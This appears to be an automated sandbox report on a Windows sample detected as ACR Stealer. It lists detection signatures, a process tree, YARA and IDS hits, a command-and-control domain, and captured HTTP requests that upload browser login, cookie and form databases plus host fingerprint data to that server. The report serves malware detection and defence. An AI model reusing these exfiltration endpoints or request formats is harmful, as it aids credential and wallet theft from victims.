Edit tour

Windows Analysis Report
Set-up.exe

Overview

General Information

Sample name:	Set-up.exe
Analysis ID:	1686586
Has dependencies:	false
MD5:	93704dcb189997351ec039c6e5f1aa41
SHA1:	d1bcc20f331f881d46cae1a13b281c127d9d6ae0
SHA256:	6be08c94108deb529fc50d4fd76c1a71e4a1329cbc618d550dccde597dc4f09e
Tags:	de-pumpedexeuser-abuse_ch
Infos:

Detection

ACR Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected ACR Stealer

Allocates memory in foreign processes

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Joe Sandbox ML detected suspicious sample

Modifies the context of a thread in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal from password manager

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Set-up.exe (PID: 7572 cmdline: "C:\Users\user\Desktop\Set-up.exe" MD5: 93704DCB189997351EC039C6E5F1AA41)

chrome.exe (PID: 7228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" MD5: E81F54E6C1129887AEA47E7D092680BF)

WerFault.exe (PID: 7416 cmdline: C:\Windows\system32\WerFault.exe -u -p 7260 -s 144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 1976 cmdline: C:\Windows\system32\WerFault.exe -u -p 7260 -s 92 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

chrome.exe (PID: 3888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" MD5: E81F54E6C1129887AEA47E7D092680BF)

WerFault.exe (PID: 2288 cmdline: C:\Windows\system32\WerFault.exe -u -p 3888 -s 144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 2224 cmdline: C:\Windows\system32\WerFault.exe -u -p 3888 -s 92 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

chrome.exe (PID: 1692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" MD5: E81F54E6C1129887AEA47E7D092680BF)

WerFault.exe (PID: 5936 cmdline: C:\Windows\system32\WerFault.exe -u -p 1692 -s 140 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 1004 cmdline: C:\Windows\system32\WerFault.exe -u -p 1692 -s 92 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Set-up.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1236851204.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000002.1544669791.0000000004100000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Set-up.exe PID: 7572	JoeSecurity_ACRStealer	Yara detected ACR Stealer	Joe Security
Process Memory Space: Set-up.exe PID: 7572	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Suricata Signatures

ET MALWARE ACR Stealer CnC Checkin Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-05-10T08:05:35.760443+0200	2052674	1	A Network Trojan was detected	192.168.2.4	49721	188.114.96.3	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://mcrsftuptade.pro/Up	Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/g	Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/ujs/f1575b64-8492-4e8b-b102-4d26e8c70371	Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/p	Avira URL Cloud: Label: malware
Source: http://mcrsftuptade.pro/Up/b	Avira URL Cloud: Label: malware

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 83.3%

Source: C:\Users\user\Desktop\Set-up.exe

Code function: 0_2_03F82F00 LoadLibraryA,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,FreeLibrary,CryptUnprotectData,FreeLibrary,FreeLibrary,FreeLibrary,

0_2_03F82F00

Source: Set-up.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DEBUG_STRIPPED, BYTES_REVERSED_HI

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2052674 - Severity 1 - ET MALWARE ACR Stealer CnC Checkin Attempt : 192.168.2.4:49721 -> 188.114.96.3:80

Source: global traffic	HTTP traffic detected: GET /ujs/f1575b64-8492-4e8b-b102-4d26e8c70371 HTTP/1.1Host: mcrsftuptade.proConnection: close
Source: global traffic	HTTP traffic detected: POST /Up HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 289Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 4e 27 f4 29 6f 00 00 00 6f 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 b5 00 00 00 00 00 Data Ascii: PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06"}PK\d!RN')oo(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKV
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 41649Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 c3 94 76 3c 00 a0 00 00 00 a0 00 00 11 00 00 00 62 2f 63 38 2f 30 2f 4c 6f 67 69 6e 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 02 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 7a 70 05 00 00 00 01 07 fb 00 00 00 00 0d 07 fb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 524940Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 41643Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 af 7d e8 83 00 a0 00 00 00 a0 00 00 0e 00 00 00 62 2f 63 38 2f 30 2f 43 6f 6f 6b 69 65 73 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 10 00 01 01 00 40 20 20 00 00 00 13 00 00 00 0a 00 00 00 0a 00 00 00 03 00 00 00 17 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 2e 7a 70 0d 0d 18 00 04 09 f1 00 0f 67 0f cf 0a ae 09 f1 09 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 623250Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 33 2e 64 62 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 f5 ac e0 c4 00 80 04 00 00 80 04 00 0e 00 00 00 62 2f 67 31 2f 30 2f 6b 65 79 34 2e 64 62 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 80 00 01 01 00 40 20 20 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 2e 6a d0 0d 7f f8 00 08 7a 3c 00 7b ee 7f c3 7b a9 7b 61 7b 1f 7a db 7a 3c 7a aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: POST /Up/p HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 485Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 42 19 07 7a 33 01 00 00 33 01 00 00 28 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 7b 22 6f 22 3a 22 57 69 6e 64 6f 77 73 20 31 30 22 2c 22 75 6e 22 3a 22 6a 6f 6e 65 73 22 2c 22 70 22 3a 22 4a 4f 4e 45 53 2d 50 43 22 2c 22 61 22 3a 22 78 36 34 22 2c 22 63 22 3a 34 2c 22 6c 22 3a 22 31 37 34 36 38 35 37 31 33 32 39 32 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 62 74 22 3a 22 47 41 53 22 2c 22 68 69 22 3a 22 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 22 2c 22 64 6e 22 3a 22 6e 75 6c 6c 22 2c 22 64 70 22 3a 22 32 32 32 22 2c 22 73 22 3a 22 31 32 38 30 78 31 30 32 34 22 2c 22 72 22 3a 34 30 39 35 2c 22 65 6c 22 3a 66 61 6c 73 65 2c 22 6c 74 22 3a 22 6e 75 6c 6c 22 2c 22 69 73 22 3a 5b 5d 2c 22 6c 69 22 3a 5b 5d 2c 22 70 6c 22 3a 5b 5d 2c 22 67 22 3a 5b 22 4d 69 63 72 6f 73 6f 66 74 20 42 61 73 69 63 20 44 69 73 70 6c 61 79 20 41 64 61 70 74 65 72 22 5d 7d 50 4b 01 02 14 00 14 00 00 00 00 00 5c 64 21 52 42 19 07 7a 33 01 00 00 33 01 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 31 35 37 35 62 36 34 2d 38 34 39 32 2d 34 65 38 62 2d 62 31 30 32 2d 34 64 32 36 65 38 63 37 30 33 37 31 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01 00 56 00 00 00 79 01 00 00 00 00 Data Ascii: PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txt{"o":"Windows 10","un":"user","p":"user-PC","a":"x64","c":4,"l":"1746857132929e146be9-c76a-4720-bcdb-53011b87bd06","bt":"GAS","hi":"9e146be9-c76a-4720-bcdb-53011b87bd06","dn":"null","dp":"222","s":"1280x1024","r":4095,"el":false,"lt":"null","is":[],"li":[],"pl":[],"g":["Microsoft Basic Display Adapter"]}PK\d!RBz33(f1575b64-8492-4e8b-b102-4d26e8c70371.txtPKVy
Source: global traffic	HTTP traffic detected: POST /Up/b HTTP/1.1Host: mcrsftuptade.proConnection: closeContent-Length: 139949Content-Type: application/octet-streamData Raw: 50 4b 03 04 14 00 00 00 00 00 5c 64 21 52 74 aa 79 19 00 20 02 00 00 20 02 00 0f 00 00 00 62 2f 63 38 2f 30 2f 57 65 62 20 44 61 74 61 53 51 4c 69 74 65 20 66 6f 72 6d 61 74 20 33 00 08 00 01 01 00 40 20 20 00 00 00 06 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 4a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 00 2e 7a 70 05 00 00 00 05 07 e7 00 00 00 00 3c 07 fb 07 f6 07 f1 07 ec 07 e7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 